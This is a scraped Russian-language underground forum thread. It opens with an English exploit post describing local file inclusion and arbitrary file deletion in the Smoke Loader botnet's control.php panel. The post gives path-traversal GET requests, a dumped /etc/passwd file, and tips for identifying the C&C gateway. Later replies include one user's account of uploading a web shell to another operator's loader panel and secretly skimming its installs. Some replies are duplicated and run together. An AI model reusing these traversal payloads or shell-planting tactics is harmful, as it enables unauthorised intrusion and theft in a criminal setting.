Two other vulnerabilities I forgot to mention, lfi and file deletion via
control.php. The user must be logged into the administrative panel.
1. LFI
GET
http://evilserver.net/control.php?act=dwns..../../etc/passwd
Enter username for Who are you? at evilsite.net:80:eviladmin
Password:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
saslauth:x:499:499:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
maniaque:x:500:500::/home/maniaque:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
2. Arbitrary file deletion
GET http://evilserver.net/control.php?act=dels...le=../index.php
Enter username for Who are you? at evilsite.net:80:eviladmin
Password:
wget evilserver.net/index.php
HTTP request sent, awaiting response... 404 Not Found
2013-02-17 09:03:49 ERROR 404: Not Found.
The panel's c&c gateway is index.php. In older versions it was easily
identifiable as the only output it returned was "404 Error''
The newer versions mask the gateway with a standard 404 Not Found, but with
a 200 status.
-
XSS.stack #1 – первый литературный журнал от юзеров форума
Web Smoke Loader LFI / File Deletion
- Автор темы DarckSol
- Дата начала
Отличная админка. Была скуля, хсс, теперь еще и lfi. Прям учебник по хакингу для начинающих.
Почему все экономят на веб кодерах? Почему каждый системный кодер считает, что админка пишется элементарно на коленке по мануалам с инета? Удивляет этот парадокс.
Почему все экономят на веб кодерах? Почему каждый системный кодер считает, что админка пишется элементарно на коленке по мануалам с инета? Удивляет этот парадокс.
Чтобы это проэксплуатировать, надо знать пароль к админке, т.ч хуета.
А если знаем пароль к админке, то накуя чето удалять? Снимаем профит!
Тащемто насколько мне известно, это старый баг и уже пофикшен, но баг актуален для админки с ТФ
А если знаем пароль к админке, то накуя чето удалять? Снимаем профит!
Тащемто насколько мне известно, это старый баг и уже пофикшен, но баг актуален для админки с ТФ
вероятно, авторы ботов не доверяют сторонним кодерам. Пишут либо сами, либо просят доверенных близких друзей, которые, вероятно, тоже не столь компетентны.
Админка хоть выполняет свои функции (что конечно не оправдывает наличие дыр ни в коем случае). Хуже бывает, когда веб-программист резко садится писать прикладной софт. После этого софт наполняется чудесами.
Варианты разные бывают. Одно дело, если человек получит просто доступ к админке, и другое - если он зальет шелл на сервер и будет иметь доступ к РНР скриптам. Можно те же логи редактировать, оставляя владельцу ерунду, а себе забирая самое вкусное. Или еще вот был случай (сразу говорю - это мне приснилось с бодуна, если кто-то узнал себя в этой ситуации или хочет говорить о крысятничестве, то я не причем ). Залил шелл в админку одного говнолоадера, скачал пхп файлы админки. Немного поколдовав над ними, сделал невидимый прогруз софта (когда задание реально лоадер выполняет, но в админке оно не видно), а на текущие задания владельца поставил фильтр, чтобы прогруз был 1 из 50 где-то, а счетчик показывал, что все ОК, лоады идут. В итоге владелец месяца два еще посидел с этой админкой, а потом бросил. Видимо, из-за неокупаемости . Я это пишу не к тому, чтобы похвастаться, а к тому, что кривой софт часто выходит боком. И нельзя говорить мол "работает, и х с ним".
Когда веб-кодеры пишут прикладной софт - это ужас, да. Хотя мало видел подобного, разве что винлокеры и раты на php devel studio. Но это и логично, веб все таки в разы проще. Хороший кодер на Си сможет осилить основы PHP в краткие сроки, но не наоборот.
p.s. хотя вообще, по части веба - говорить можно многое, но процентов 90% заказчиков "встречают по одежке". Т.е. им главное красивая картинка в админке, а на дыры и прочие плевать. И наоборот - будь админка хоть суперстабильной к атакам и нагрузкам, если там кривая верстка, то будут считать говнокодером.
). Залил шелл в админку одного говнолоадера, скачал пхп файлы админки. Немного поколдовав над ними, сделал невидимый прогруз софта (когда задание реально лоадер выполняет, но в админке оно не видно), а на текущие задания владельца поставил фильтр, чтобы прогруз был 1 из 50 где-то, а счетчик показывал, что все ОК, лоады идут. В итоге владелец месяца два еще посидел с этой админкой, а потом бросил. Видимо, из-за неокупаемости . Я это пишу не к тому, чтобы похвастаться, а к тому, что кривой софт часто выходит боком. И нельзя говорить мол "работает, и х с ним".Когда веб-кодеры пишут прикладной софт - это ужас, да. Хотя мало видел подобного, разве что винлокеры и раты на php devel studio
. Но это и логично, веб все таки в разы проще. Хороший кодер на Си сможет осилить основы PHP в краткие сроки, но не наоборот.p.s. хотя вообще, по части веба - говорить можно многое, но процентов 90% заказчиков "встречают по одежке". Т.е. им главное красивая картинка в админке, а на дыры и прочие плевать. И наоборот - будь админка хоть суперстабильной к атакам и нагрузкам, если там кривая верстка, то будут считать говнокодером.
и начать писать веб-софт с дырами
php - очень удобный язык, но очень к багам располагает